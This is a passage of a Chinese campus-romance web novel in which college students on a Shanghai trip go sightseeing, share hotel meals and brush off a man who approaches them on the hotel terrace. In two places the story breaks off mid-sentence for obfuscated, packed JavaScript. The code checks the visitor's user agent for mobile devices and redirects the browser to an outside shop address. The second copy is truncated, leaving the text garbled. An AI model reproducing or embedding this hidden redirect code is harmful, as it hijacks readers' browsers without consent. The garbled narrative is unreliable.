但祝岁祯知道他谈了还挺开心的,她可以用这个理由告诉爸妈不方便跟小何联系,退休返聘什么的,在她这里已经尽力了。 不过,她看了眼俞惟叙,这个人好像也挺开心的,不知道为什么。 “咳咳……”俞惟叙调整好表情,看着东方明珠从下至上闪动的灯光特效,“你这,大学都过一半儿了,还没个相中的人呢?” 祝岁祯两手一摊:“如何呢?又能怎?要扣我学分还是降我排名?” “嗐,那倒不至于。咱学校这么多男生都没你喜欢的啊?你想要什么样的?给我几个量化指标,我帮你找找。” 祝岁祯噗嗤笑出来:“量化?你当做题写代码呢?” 俞惟叙又凑近了些:“不儿,总有硬性条件吧?你比如说我,不穿鞋净身高189,穿了能有192,年龄跟你一样,体重……” “好了好了可以了,不用啊,真不用。” 祝岁祯一边说一边准备扭头走:“行,我知道你净身高189了,回头有合适的美女给你介绍。” 俞惟叙摇头笑了笑,跟上她。 下雨时人还挺少,雨止后,游客慢慢开始上来了。 祝岁祯刚走没几步,手机响起来,她拿起一看,是远文。 接通后,远文虚弱的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313105|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起:“祯祯……我感觉有点头晕,没劲儿,这泡澡球是不是有什么问题啊……” 祝岁祯着急了:“你还在浴缸里吗?” “嗯。” “是不是水太热了?先把浴缸水放掉,我现在就回去,你别乱动,坚持一下。” 俞惟叙见她有些惊慌,立刻问:“怎么了?” “远文泡澡头晕,你知道是为什么吗?”她和俞惟叙迅速折返。 “泡的时间太久了吧,或者就是你说的,温度高。而且泡澡容易出汗,不及时补充水分也会难受。” 出了酒店电梯,祝岁祯几乎是小跑着找到房间门刷房卡进去,俞惟叙站在走廊:“门别关,我等着你,有事儿就喊我。” 祝岁祯穿过客厅进卧室,还没去洗漱间就听到远文喊她。 “ 你怎么样?有好点儿吗?”祝岁祯打开玻璃门,远文坐在浴缸里,两只胳膊搭在边沿,头枕在胳膊上,露出来的皮肤红彤彤的。 祝岁祯把门上挂着的浴袍取下,搀扶她起来,把她往里一裹,半抱半背地把她弄出来。 好在远文瘦瘦小小,祝岁祯能应付得来。 让远文躺在床上,祝岁祯去客厅吧台拿了瓶依云,远文直接灌了半瓶,打了个水嗝,软软地躺下。 “我本来也想出来的,但使不上劲儿,怕万一滑倒磕了碰了,还得去医院麻烦你们。” 祝岁祯拿了毛巾帮她把头发擦一擦:“你做得对,这泡澡水滑溜溜的,就算正常的时候都有点危险呢,更何况你现在这样。” 远文自己撑着起来,又把剩下半瓶喝了。 “哎哟,感觉好多了,我再缓一下应该就没事了。” 祝岁祯站起来:“那行,我让俞惟叙先回去,他在门口等着呢,怕你有什么事。” “啊?俞惟叙知道啦?好丢人……” 祝岁祯笑道:“这有什么的。” 见她出来,俞惟叙把门推开:“怎么样?用帮忙吗?” “应该没事,已经出来了,让她喝些水躺着休息休息。” 俞惟叙点点头:“那行,我先回去了,有事叫我,2218。” “嗯嗯,谢谢啦,你早点休息。” “哎,明天你们都起来吃早饭吗?” 祝岁祯想了想:“我肯定要吃的,她们仨……不好说,经常不吃。” “那行,我明早叫你。”他指了指门后的位置,“门记得锁好,两道锁。晚安。” -.- 第二天早上七点多,祝岁祯醒了之后去洗漱,回来看见手机有消息提示。 俞惟叙:【醒了吗?】 祝岁祯:【已经洗漱完了,现在就能出发】 拿上手机、房卡,她照了下镜子,懒得扎头发了,就这么披着吧。 她和俞惟叙几乎是同时出门,俞惟叙过来后祝岁祯说:“我在群里喊一声吧,看还有谁要来吃早餐。” 正准备发消息,俞惟叙拦住了她。 “我宿舍没人来吃饭。” 祝岁祯收了手机:“那走吧,我昨晚问过小羊和梦梦,她们说不吃。” 从铺着香槟金织花地毯的走廊,转弯进入电梯厅,八部电梯静静等候宾客光临。俞惟叙按下按键,祝岁祯找个话题聊天。 “昨晚我下楼之前,梦梦、小羊和大黄仨人跑去一个网红面包店,排队买面包。” 有部电梯到了,俞惟叙进去后帮她按着开门键。 “谢谢。”她进去后接着说:“专门打车去的,特别火,她俩差点儿就没买到。回来给我和远文分了一片。嚯,你还别说,挺好吃的,是咸口的面包,叫什么‘恰巴塔’,感觉还蛮高级的,从来没吃过这种。” 俞惟叙想了想:“恰巴塔?哦,意大利来的,你就当是中国的烧饼、酱香饼,没什么稀奇的。” 祝岁祯想起小摊档口的各种饼,突然就祛魅了,她无奈道:“哎,别啊,你让我保留一点对新事物的兴奋感好吗?烧饼……哎哟我真的是……” 俞惟叙笑了:“哈哈哈,对不住,主要在国外待久了,对欧洲本土的食物除了嫌弃就剩嫌弃。” “叮”,到餐厅了,祝岁祯跟着他走,两人穿过一个走廊,墙壁和地面光可鉴人,隔一段路就摆着造型优美的插花,尽头是两个女服务员,站在一个放着电脑的桌子后。 俞惟叙把房卡交给服务员,祝岁祯也学着递过去,服务员刷卡查验之后,做手势请他们进入。 餐厅里混合的饭香和音乐飘绕着交织,已经有好几桌坐了客人。左手边是厨师间,在厨师间外面围了长长的餐台,一直延伸到拐了个弯,像一个L字。 两人拿了餐盘,祝岁祯看着眼花缭乱的中西各式餐点犯了难。每一样都很好吃的样子,好多她没吃过的。 不说各式各样的甜点、饮品、面食、荤素菜,仅是海鲜粥,都分好多种。旁边一个小牌子上写了中英双语的原料成分,最下面小字标着过敏原。 俞惟叙见她走了一半,餐盘还是空的,问她:“没有喜欢吃的吗?” 祝岁祯十分没出息道:“不是……我看什么都想吃……” 俞惟叙忍俊不禁:“哎哟,那可难办了……这样,你想吃什么,咱们俩拿一份,分着吃,让你多尝几样。” 祝岁祯高兴了:“好诶!” 两人各端了丰富的两盘,跟火锅涮肉的小料台似的,到落地大玻璃窗前,把外滩美景当下饭菜,大快朵颐。 祝岁祯想吃那碗萝卜牛腩,牛肉炖得软烂,看起来就很好吃。她拿了公勺去舀,结果力道没用好,差点儿把碗给弄倒。 “哎呀!抱歉抱歉,我还是俩手来吧。”她说着就要把另一只手的筷子放下。 俞惟叙快她一步,抢先捏住了小碗:“你盛吧,我给你按着。” “哦?你俩居然一起来吃早饭?什么情况?”大黄一手端餐盘,一手端着碗向两人的餐桌走来,脸上带着探究的笑。 祝岁祯和俞惟叙齐齐转头,还没反应过来,大黄看两人的手都在这一碗菜上: “你俩搁这儿抢饭吃呢?这是哪道菜?这么好吃?” 祝岁祯尴尬地要把勺子撤回去,俞惟叙却仍然捏着碗没动:“先把你要吃的盛走。” 祝岁祯在大黄惊讶的眼神中,也顾不上挑拣,随便弄了个什么东西到自己盘子里,仔细一看,萝卜。 唉。 俞惟叙顺手把她放下的公勺拿起,又给她舀了块牛腩放她盘子里。 大黄坐下,来回看他俩,再没睡醒也该醒了: “我嘞个……你俩这……哎哟,我是不是有点多余?我去别的桌子……” 俞惟叙一把拽住他:“回来!” 祝岁祯也同时伸手隔空拦他:“没有没有,什么都没有……” 大黄将信将疑地坐下:“真没啥?回头可别说我电灯泡。” 俞惟叙:“吃你的吧。” 祝岁祯刚夹起牛腩,突然想起来,俞惟叙说男生没人来吃饭? 她狐疑地看了眼俞惟叙。 俞惟叙刚好也看了眼她。 目光交错,俞惟叙撇开,对大黄说:“你居然来吃早餐啊?我怎么记得你不吃早餐来着。” 大黄顿了顿:“醒了饿啊……我吃早饭呀,我们仨都吃的好吗?他俩一会儿应该就下来了。” 俞惟叙喝了口粥:“哦,那是我记错了。” 大黄一脸见了负心汉的表情:“你记成谁了?!你说啊!!在国外有别的男人了?抛下我和俩儿子在北京留守……” 祝岁祯看到他俩背后那桌客人,本来低头吃饭,听见后饭也不吃了,悄悄地靠在椅背上竖着耳朵听八卦。 俞惟叙放下勺子笑叹:“我吃饭呢哥们儿,别恶心我,想当爹找你女朋友去。” 随后两个男生边吃,边讨论今天的行程,祝岁祯惊讶地听到俞惟叙说要和他们一起去。 大黄一边嚼着大阪烧,一边含糊不清地说: “我们可是特种兵行程,从景点开始营业、到下午关门,这中间一直辗转不停,中午饭就找个便利店小馆子什么的,迅速解决,就为了能在一天内尽量逛完。” 俞惟叙爽快地说:“没事啊,我怎么着都行,别总把我框在外面,你们能特种兵我也能。” 祝岁祯笑道:“是呢,连军训都能参加。我以为你会找个什么方法申请免训或者见习。” 他看了眼祝岁祯:“军训有什么的,无非就是晒了点,强度还不如我在健身房训练。” 大黄一听健身房,迅速咽下嘴里的食物,伸出魔爪:“让我摸摸,好久没摸了。” 说着,手就捏上了俞惟叙的肩膀和大臂。 俞惟叙也没动弹,胳膊暗暗用力,手背和小臂上青筋乍起。 祝岁祯赶紧低头。真无语啊,男生聚在一起就这点儿屁事…… 大黄表示满意:“嗯,不错不错,看来在国外也没有懈怠。腹肌呢?八块还在吗?” 说着手就撩起俞惟叙衣服下摆,要往里摸。 俞惟叙用胳膊肘把他挡开:“光天化日朗朗乾坤大庭广众,干什么干什么!我的腹肌只给未来女朋友摸。你想摸,自己练去。” 大黄笑得很贼:“哟哟~未来女朋友~腰练好了就等实战呢是吧?” 俞惟叙:“吃你的饭吧!这儿有女生在呢,说的什么话!” 祝岁祯:…… 啊啊啊啊!救命!不想听不想听! 接下来祝岁祯低头默默干饭,俩男生聊酒店的健身房。 俞惟叙来餐厅前,竟然已经在健身房挥洒过汗水了,冲完澡才来喊她一起吃饭。 她趁大黄的注意力都在俞惟叙那里,悄悄地用公筷公勺,像小老鼠一样,把想吃的一点一点搬进自己盘子里,然后把自己不想吃的挪到俞惟叙那边。 俞惟叙一直分心关注祝岁祯的动静,看着她忙叨叨的挪这些盘啊碗啊的,碍于大黄在旁边没法儿笑,憋得真难受。 只能一边应付大黄,一边把她推过来的菜消灭。 32. 第三十二章 三人吃完饭,出来正好碰到鸡哥和箫剑。 “我靠!你们仨居然起这么早!” 大黄指了指俞惟叙:“这货更逆天,还先去了趟健身房。” 鸡哥试着捏俞惟叙肩膀:“帅哥别练了,有句话听说过吗?‘健身适可而止,否则吸引的都是同性’,嘿嘿。” 俞惟叙怒了:“滚!没听说过。” 三个男生哈哈大笑,大黄摆摆手:“别说了咱们鱼仔还要找女朋友呢……” 鸡哥笑够了说:“随便练练差不多得了,显得我们像细狗。” 箫剑指着鸡哥:“这才是真心话吧,你细狗是绝对的事实,不需要谁来对比。” 三人进了电梯,大黄他们的房型在19层,就先出去了。 门关上后,电梯继续上行,祝岁祯笑出声来:“吸引的都是同性,噗哈哈哈哈!哎,听说英国……” 还没说完,她的天灵盖突然被俞惟叙用五指山镇压,仿佛孙悟空被套了紧箍咒。 俞惟叙知道她在想什么,捏了捏她的小脑袋瓜:“不许说!” 祝岁祯笑得更厉害:“腐国……” 电梯停下,俞惟叙松开五指山,食指一勾,反手用骨节敲了她脑壳一下,当作小小的报复。 门打开,两人出去,祝岁祯揉了揉被他敲打的地方:“心虚了是不是?要捏爆我的头灭口是不是?” 俞惟叙按住门让她先出去:“我灭口不用这么血腥的办法。” 祝岁祯出来后回头:“比如?” 他悠悠然地缓步前行:“因人而异吧。你的话,在你面前摆一桌好吃的,就顾不上说话了。” 祝岁祯不服:“你那是捂嘴,不是灭口。” 俞惟叙闲庭信步:“只要足够有钱,多得是灭口的手段,你不会想知道的。” 他指了指旁边:“喏,你的房间到了。” -.- 出发前,祝岁祯和远文把屋子稍微整理了下,不想让酒店打扫卫生的觉得这俩女生脏乱差。 楼下大堂集合,大黄看着手机的线路:“我和鱼仔叫了两辆出租,大热天的咱们就别坐地铁公交了,钱我俩掏。” 车子先后到酒店门口,女生一辆、男生一辆,分开前往目的地。 八个人拍合照打卡、验证预约信息、参观听讲解、拍摄照片视频备用,然后迅速打车去下一个景点,如此循环。 祝岁祯发现俞惟叙竟然在仔细读那些文字说明、拍摄展览内容,她不禁小声说:“没想到你还挺认真的。” “我姥爷喜欢这些东西,等回去了可以跟他聊聊。” “哦……” “而且其实这些内容也挺好的,那个年代那么艰苦,也看不到未来,但大家为了理想和目标拿命坚持。虽然现在时代变了,但每个人心里肯定有自己的追求,遇到困难的时候要怎么选呢?” 祝岁祯想了想:“有点像创业。” 俞惟叙赞赏地看了她一眼,说:“其实,我最近……” “你俩凑一块儿嘀嘀咕咕聊啥呢,走啦。”小羊过来提醒他们。 祝岁祯有点好奇,但看他似乎不太想说了。 出去找了个餐馆吃午饭,然后商量接下来的安排。虽然规划过时间,但行程还是有点紧张,队员们商量着要不要舍弃一两个地方。 不太说话的俞惟叙突然提出建议: “或者咱们分两组,把剩下的景点拆开,分头拍照片参观。又不是重点团队,院里肯定不会查太严的。” 大家纷纷赞叹俞惟叙脑子活,然后按照学号大小,每个宿舍的前两名组队,剩下的组另一队。 这样的话,箫剑、鸡哥和小羊、梦梦一组;鱼仔、大黄和远文、祝岁祯一组。 祝岁祯这组,大黄负责拍照记录,祝岁祯和远文负责路线规划,俞惟叙负责……掏钱。 大黄先去坐了副驾,远文上车坐最里面,祝岁祯坐中间,俞惟叙关门。 本来女生一辆车的时候,大家身材都相对比较纤细,后排座还算宽裕。但现在突然加进来一个宽肩健身达人,祝岁祯就被他挤得有些不舒服。 更何况他的胳膊热烘烘地烤着她,在开了空调的车里像个火炉,祝岁祯觉得自己和他胳膊皮肤相贴的地方都快被烫到了…… 明知道是心理因素,但她还是把身子稍微前倾些,尽量避开和他接触。 可是腿就没办法了。 夏日的裤子布料本来就薄,祝岁祯坐在中间像夹心饼干,和两人的腿紧紧相贴。 她腿左边是温温凉凉的远文,右边是持续燃烧的俞惟叙,祝岁祯努力忽略布料外生机勃发的强健肌肉,把注意力放在手机屏幕上,玩消消乐。 远文扭头拍摄窗外的景色。 俞惟叙视力很好,在祝岁祯准备消掉青蛙时,拦住了她的手指。 然后示意她去消最底层的熊。 祝岁祯无奈地看了他一眼,这人怎么还偷瞄别人玩游戏啊? 俞惟叙噙了一抹淡笑,就这么大大方方地瞧着她。 她回头,把最后一排的熊消掉,然后上面呼呼啦啦往下消了一大堆。 哼,这是凑巧了,才不是因为某人聪明高瞻远瞩什么的…… 车子很快行驶至静安寺街道,导航提示到达目的地,俞惟叙下车后,祝岁祯觉得右边挨着他的部分瞬间凉快了,她松了口气。 天气太热,大家都没什么说话的意愿,赶紧去场馆前拍照,进去吹空调。第二个景点正好卡着关门的时间逛完,和小羊的队伍交流了一下进度,两边队伍分头吃饭。 俞惟叙查了查,附近有家黑珍珠餐厅,不需要预约。他有点印象,之前好像是哪家供应商请关总和他来着,他印象中还不错。 于是,富二代继续爆金币,请小组成员吃饭。 主要是祝岁祯和远文也没那么多预算吃黑珍珠啊,一个四人套餐就得两千多,只能抱俞惟叙大腿,否则她俩是一定会在便利店买饭团烤串或者便当的。 吃饱喝足,与大部队集合。外滩观景台上人山人海,实在太壮观了,祝岁祯都怀疑会不会有人被挤到江里去洗澡。 队员中也有很多来过上海的,纷纷表示不想去外滩看别人的脸和后脑勺,于是大家一致决定,从外白渡桥晃悠着去北外滩散步。 灰白钢铁大桥的桁架结构,远看像鞋带交错,又好像小时候和小朋友们玩的翻花绳。走在桥里面,整个桥面被巨大的钢铁笼子罩住。 而此时右侧黄浦江和东方明珠的方向,红霞满天。从远处地平线起始,整片天空的云朵如同浸了油,被日落点燃,烧得漫天都是橘色金色的光彩。江面为镜,忠实记录着天空每秒的变幻。 大家停下欣赏,和周围路人一样,掏出手机拍照,欣赏过后八个人叽叽喳喳聊天。 这仨聊路上的车子,那俩聊潮人男女,祝岁祯和鸡哥、梦梦聊刚才吃的毛蟹炒年糕有多入味,然后远文说还是那道糖醋小排最好吃…… 北外滩人果然少了许多,江边人行道的另一侧,有漂亮的绿化景观,花朵争奇斗艳。 不少本地人沿着江边跑步锻炼,江上有暗褐色的鸟展翅盘旋,颇有“鹰击长空,鱼翔浅底”的意境。 箫剑指着那只盘旋的鸟:“兄弟们,无奖竞赛,这是什么鸟?” 所有人随着箫剑的手,看向那只鸟,没人说话,仔细观察着。 那只鸟终于飞得近了些,羽毛有些像麻雀,只是体型比麻雀大了许多。尖尖的喙破开长空,飞得十分流畅。 “夜鹭。”鱼仔选手很快给出了答案。 “哈?”鸡哥质疑:“不可能,夜鹭怎么会是这个色儿。” 箫剑:“我也记得,夜师傅头上有根白毛……” 俞惟叙往后拢了拢头发,露出光洁的额头:“就是夜鹭,它还是个孩子。” 大黄低头查百科:“确实是亚成鸟。” 鸡哥看向俞惟叙:“鱼仔可以啊……这也认识?” 俞惟叙表情没什么变化:“小时候去公园、动物园研学,老师讲的。北京也能见到啊,近一些的紫竹院、动物园都有。” 祝岁祯听到动物园,立刻看向他。她其实有计划想去看大熊猫来着,听说北动有很多只,值得一去。 俞惟叙也看着她,说:“我姥爷家楼下,那玉渊潭,也有。他之前身体好的时候,跟着一帮摄影大爷在玉渊潭打鸟,有时候也能碰见夜鹭。” 男生们热火朝天地讨论,女生们满头雾水。 夜鹭?夜师傅?都是什么玩意儿。 不过祝岁祯发现北外滩真是个好地方,这里能清晰看到东方明珠的全貌。外滩那边的角度,明珠底部有遮挡,看不见它这几根腿。 快到七点了,大家拿起手机,准备记录外滩和万国建筑群亮灯的瞬间。 俞惟叙慢慢踱步到祝岁祯身后,看了眼她的手机,低头指着屏幕小声在她耳边说:“开0.5倍。” 祝岁祯的镜头抖了一下。 干嘛突然凑到人家耳朵旁说话啊! 她故作镇定,努力忽略那从耳后蔓延到脊椎的酥麻,迅速切0.5的镜头,画面瞬间收入更多景色。 七点整,江两岸同时亮灯。 虽然说是七点,但部分建筑还有些延迟,在三四秒内陆续完成开灯。因为天光尚在,这灯亮得也不太明显,拍到手机里的效果更是打了个折扣。 有点失望是怎么回事。 果然,大家都是这个反应,讨论着开灯时间有点早,过半个小时应该效果更好。 但如果不是整点开灯,又没了仪式感。八点就太晚了。 祝岁祯没参与讨论,看向一旁的俞惟叙:“你没拍吗?” “嗯,我就不拍了。” “也是,您见多识广的。” “啧。” “今天一天都挺没意思的吧?你说你在北京的豪宅里吹空调就行了,干嘛还来跟我们受这罪,福享够了来体验平民生活?” “讽刺我?亏我刚才还好心提醒你。” 祝岁祯跟着大部队往前走,在队尾低声向俞惟叙抗议:“你不要跟幽灵一样,突然在别人的耳朵边说话。正专心录像呢,吓死人了好吗?” 俞惟叙微微俯身,唇边带着不易察觉的笑,听着她嘟嘟囔囔。 “那你可冤枉我了,我不是见你在拍视频么,正常音量肯定会被收进去的。我用心良苦啊!” 祝岁祯一想,好像也是这个理。她不自然地转移视线装作欣赏风景。 “哦,那好吧。” 话音刚落,俞惟叙的手机响起来。 “喂,妈。” 关理之:“你还在上海吧?” 俞惟叙:“对。” 关理之:“明天下午,林期尔到浦东,你去接她。” 俞惟叙:“啊?” 关理之:“啊什么啊。我一会儿把航班发你。” 俞惟叙:“不儿,她自己家里没人来接吗?” 关理之:“她想读研她爸不让,最近正闹着呢。” 俞惟叙:“不想去。” 关理之:“你觉得我在跟你商量吗?” 俞惟叙:“我一个外人,上赶着去接她,简直莫名其妙,不丢人吗?” 关理之:“去机场接一下就行了,不用送她回家。男孩儿主动点儿怎么了?” 关理之:“我还让你这两年陪她去欧洲玩玩呢,你听我的了吗?这笔帐还没跟你算!” 俞惟叙:“我……” 关理之:“再跟我磨叽,就别回来了!” 俞惟叙:“……” 关理之:“挂了!” 俞惟叙黑着脸放下手机,一队人全都扭头瞧他。 “咋了呀鱼仔,有什么需要我们帮忙的吗?” “你现在要走吗?” 俞惟叙把手机放兜里:“谢谢,不用帮忙。明天下午我去机场接个人,现在没事儿。” 天色一点点变黑,大家晃悠着回到酒店。祝岁祯刚跟爸妈打完电话,门铃响起。 梦梦和小羊进来,说她俩准备去12层做个SPA,网上评论这家酒店的技术还不错,问她和远文要不要去。 就是有点贵。 祝岁祯心里痒痒的,问了下价格。 一个小时的全身SPA加面部护理,原价2680。因为俞惟叙给她们升级的这个房间很好,酒店为这个房型的顾客优惠了680, 俞惟叙之前跟她们说过,在酒店里放心消费,最后会算在房费里,退房的时候他一起支付就行。 但今天下午,看俞惟叙接他妈妈电话的样子,俩人好像有点小别扭。梦梦和小羊就不好意思再花俞惟叙的钱了,决定自己掏。 祝岁祯一秒都没犹豫:“我不去了,你们好好享受。” 远文一听这价格,也嫌弃地龇了龇牙:“祯祯你去洗个澡,我来给你按,不收钱。” 梦梦和小羊走后,远文说酒店楼上那层有个观景露台,拿着房卡可以去,问她想不想一起。 祝岁祯问:“有什么收费项目吗?” 远文查了查,露台旁有个小吧台,客人赏景的时候可以点一杯,但也不是强制消费的。 祝岁祯觉得干坐着也不是个事,于是和远文点了外卖,准备拿着奶茶去露台。 过了一会儿,外卖员说她的单到了,让她下楼去取。祝岁祯跟远文嘀咕着,这么高端的酒店,居然不能直接送上门。 拎着奶茶上来,刚要刷卡进门,就看到俞惟叙在不远处,从他房间出来。 “嗯?我听大黄说你们女生去做SPA了,你怎么没去?” 祝岁祯回他:“梦梦和小羊去了,我和远文准备上楼,那儿有个露台。”她指了指楼上。 “这是什么?外卖?”俞惟叙看向她手里的东西。 “嘿嘿,对,网红奶茶,据说超级好喝,北京没有这个店。” 俞惟叙笑了声:“行吧。” 她想起自己下楼拿外卖时的那个问题:“为什么这个酒店,不能帮忙送外卖到门口啊?我家那边的酒店好多都提供这个服务,有的还是机器人送呢。” 俞惟叙想了想:“怕外卖出问题扯皮吧?酒店不想承担这个责任。” “哦哦,懂了。你要出去吗?” “我和舍友们去游泳。你俩会吗?一起。” 祝岁祯想了想:“我只会一点点,顶多是在浅水里淹不死的程度。远文好像不会。” 俞惟叙说:“酒店这个泳池配了教练,你俩要有兴趣的话可以学。” “嗯嗯,我问问远文,不过估计不会去哈哈。你去吧,拜。” -.- 祝岁祯和远文,一人拿一杯奶茶去了露台。 热热的晚风吹拂,东方明珠的灯映在云层上,云变得五光十色。 祝岁祯大着胆子往露台边缘走了走,低头一看,露台的栏杆下面还有小小的一层延伸台,估计是保护客人用的。 有几个打扮得像名媛千金、富家公子的人,在露台边拍照,又是打光又是道具,看起来也太专业了。 祝岁祯瞅了瞅自己和远文,极其朴素的短袖、趿拉着酒店的拖鞋,土得格格不入。 她和远文心照不宣地挑了远一点的座位,省得被潮人笑话是乡下来的…… 但是美景在前,两人实在忍不住,于是安安静静地去露台边,在不影响人家拍摄的情况下,找了个合适的角度也互相帮忙拍了几张。 回到位置上,祝岁祯正低头看照片,一个蛮年轻的男人拿了杯酒走到她们桌前,微笑地看着祝岁祯:“嗨,可以跟两位美女坐一起吗?” 祝岁祯瞄了眼周围,明明有空桌子。 “呃……” 男人自顾自地坐下了:“谢谢。” 祝岁祯这才看到他戴了个无镜片的眼镜框,一只耳朵戴着钻石耳钉,每只手都戴了两三个戒指,手腕上表和链子搭配在一起。 又一个潮男。 她和远文对视一眼,都已经在躲了,怎么一点儿用都没有。 “你们是哪里人啊?”潮男张嘴就是查户口。 “从北京来的。” “来出差吗?” “差不多吧。” 祝岁祯有点无奈,这人嘴上说着“你们”,实际问题全抛给她一个人。 “来上海几天了?还习惯吗?” “习惯啊。” “挺好的,你们每次来出差,都住这家吗?看你们很松弛的样子。” 松弛?祝岁祯看了看自己和远文的短袖拖鞋,笑了一声。这人还挺会说话的。 “也不是,会换着住。” 她主打就是一个:搭讪的人别想从我嘴里听到实话。 那人点点头:“你觉得这附近哪家住得舒服些?” 这附近?这附近可都不便宜,她怎么知道。 祝岁祯反问:“你是做问卷调查的吗?” 男人愣了下,笑笑:“哈哈哈,不是。我昨天刚从宝格丽过来住,emm……觉得这家酒店还是差点儿意思。” 宝格丽是什么?也是酒店吗?听起来好像比这家高级些。 “哦,那你退房回去住吧。这家确实不如……宝格丽。” 男人囧了一下,呵呵笑道:“你也住过宝格丽吗?这次怎么选这家了呢?” 祝岁祯直接一句王炸:“男朋友给订的,凑合住吧,暂时还不想分。” 远文差点儿被奶茶呛到,她赶紧转过头 ,憋着笑看景色。 男人果然变了脸色,讪讪笑道:“男朋友肯定很帅吧?” 祝岁祯拿起奶茶:“帅,要不然也不会留到现在。脱了鞋净身高189,天天健身。” 面前这个男人顶多180,而且还是穿了鞋的身高。 他似乎又被打击到了。 远文憋笑憋得发抖。 “你们晚上喝奶茶,不会睡不着觉吗?” 祝岁祯和远文同时看向奶茶。 呃,说得也是啊…… 男人笑着问:“是不是准备去蹦迪啊?男朋友不在,可以好好放松放松。” 祝岁祯:…… “呵呵,不是。听说这个好喝,尝尝。一会儿还有工作呢。” 男人来了兴趣:“你是做什么工作的?自媒体?网红?平面模特?还是演员?有账号吗?我给你添点儿粉丝。” 祝岁祯摆摆手:“都不是,普通公司的打工人而已。” 一直没说话的远文开口,嫌弃地甩甩手赶人:“哎,人家有对象,别缠着了,找别人吧。” 男人讪讪地起身离开。 等人走了以后,远文摇摇头:“这就是美女的烦恼吗?” 祝岁祯喝了口奶茶:“是女性的烦恼。” 刚说完,她突然想起:“哎呀,这奶茶……” 远文打开外卖软件:“应该没事吧,我睡眠倒是挺好的。而且店铺标注,咱们喝的这款是低因茶。” 祝岁祯点点头:“还好。不过反正咱明天也没什么事干,无所谓了。” 远文放下手机,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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那美女觉得旁边这女孩不像是住高端房型的,于是亮出手机付款码,对调酒师又说了一遍:“NewYork Sour,一杯。” 调酒师对美女说:“抱歉,这位女士先来的,我稍后为您制作。” 他又恭恭敬敬地看向远文:“女士,刚查询到您的房型可以免费领取两杯饮品。您刚才想要无酒精的是吗?这边为您专门制作两杯气泡水可以吗?” 美女愣住,不可置信地看向远文。 -.- 调酒师端着盘子过来,把两杯饮料放在桌子上。远文说:“我点了两杯气泡水,免费的。” 虽然只是气泡水,但调酒师用了两个造型不同的杯子,两个杯子也用了不同的装饰,看起来挺像回事的。 祝岁祯掏出手机拍照:“这么好,还免费送?” 远文笑道:“是因为咱们这个房型贵,酒店送的。要是别的房型就得花钱了,一杯两百呢。” 祝岁祯瞪大眼睛:“气泡水?两百?我滴妈耶~上海的物价已经癫成这样了?” “不是不是。那吧台的酒两百,气泡水是人家专门做给咱的,咱俩喝不了酒嘛。” “哦……” 远文笑了下:“哈,说起来,刚才咱俩被人鄙视了呢……” “啊?” 远文把这个小插曲告诉她,祝岁祯感叹还是有钱好啊……也算靠俞惟叙体验了一把打脸的剧情。 -.- 第二天早上,按照远文前一晚的要求,祝岁祯把她从被窝里挖起来去吃早餐。 远文昨天听祝岁祯说酒店的自助早餐有多丰盛,她顿时后悔得心在滴血。这可是俞惟叙付了钱的,不吃就浪费了。 锁好房门,祝岁祯给俞惟叙发消息让他出来。 远文见到俞惟叙之后,突然激活了什么记忆,笑着打招呼:“早上好啊,祯祯的‘男朋友’。” 祝岁祯愣了一秒,随即迅速捂住远文的嘴。 “呵呵呵,别理她……” 俞惟叙愣住,随后眼里仿佛有了光一样,堪称惊喜地问:“什么?我是你男朋友?什么啊?快讲讲!” “呵呵呵,她做梦的,她刚起来脑子不清醒……” “你和远文说我是你男朋友?” “哎呀……不是……” 远文重获自由,一边朝电梯走,一边坏笑地看祝岁祯尴尬地收拾残局。 “就昨晚,我俩不是去露台吗,有人来搭讪,我就说这酒店是男朋友订的,想让那人赶紧走。” 到了电梯厅,祝岁祯按下楼键。远文眼珠一转,坏心眼儿又冒出来一个。 她问俞惟叙:“你净身高是189吗?” 俞惟叙听见这话表情瞬间空白,旋即反应过来,和远文同时笑着欣赏祝岁祯无奈扶额的样子。 “你连我净身高都报出去了?跟你搭讪的人还问我什么了?” 电梯到了,祝岁祯迅速钻进去按键。俞惟叙挡着电梯门,让女生先进去。 远文继续拆她老底:“人家可没问,是她自己说的。说什么……男朋友长得帅、男朋友天天健身……” 祝岁祯咬牙切齿:“周、远、文!!!’” 俞惟叙笑得十分愉悦:“没关系,以后你们如果需要,就直接找我演男朋友,线上线下均可提供服务。” -.- 今天是队员们回家的日子,酒店12点退房。 梦梦、小羊和远文走得早一些,远文去舍友房间扫荡了酒店送的各种小东西,收获满满地回去了。 从上海回家坐高铁还算近,祝岁祯到退房时才走。 “东西都带上了吗?”俞惟叙站门口问她。 “都带了,我检查了两遍呢。” 她关了门,俞惟叙顺手把她箱子拉走,祝岁祯赶紧接过来:“我自己拿就行。” 两人去电梯间,祝岁祯问他:“你今天要去接朋友?几点啊?” “7点半。” “哦,还挺晚的。你准备再住一天吗?” “不住,我准备办延迟退房,下午去机场,接完人就直接在浦东飞回去。” 电梯下行,祝岁祯看向他:“7点半?那你到家几点啊?得凌晨了吧。这么忙吗?” 俞惟叙眼里闪过一丝诡谲:“不忙,我故意的。” “啊???” 他解释道:“我在这里多待一秒,我妈就有可能多下一道命令。赶紧回去,省得她想一出是一出,指使我干这干那的。” 祝岁祯觉得好笑:“行吧……” 少爷这点心眼儿都使在他妈妈身上了。 祝岁祯去退房,俞惟叙去延时,两人办完之后他问祝岁祯:“你们几个女生怎么都没花钱啊?大黄不是说小羊她俩去做SPA了吗?” 祝岁祯想起来:“她俩……好像是自己掏的钱。你都帮忙升级房间了,不好意思再让你付额外的。” 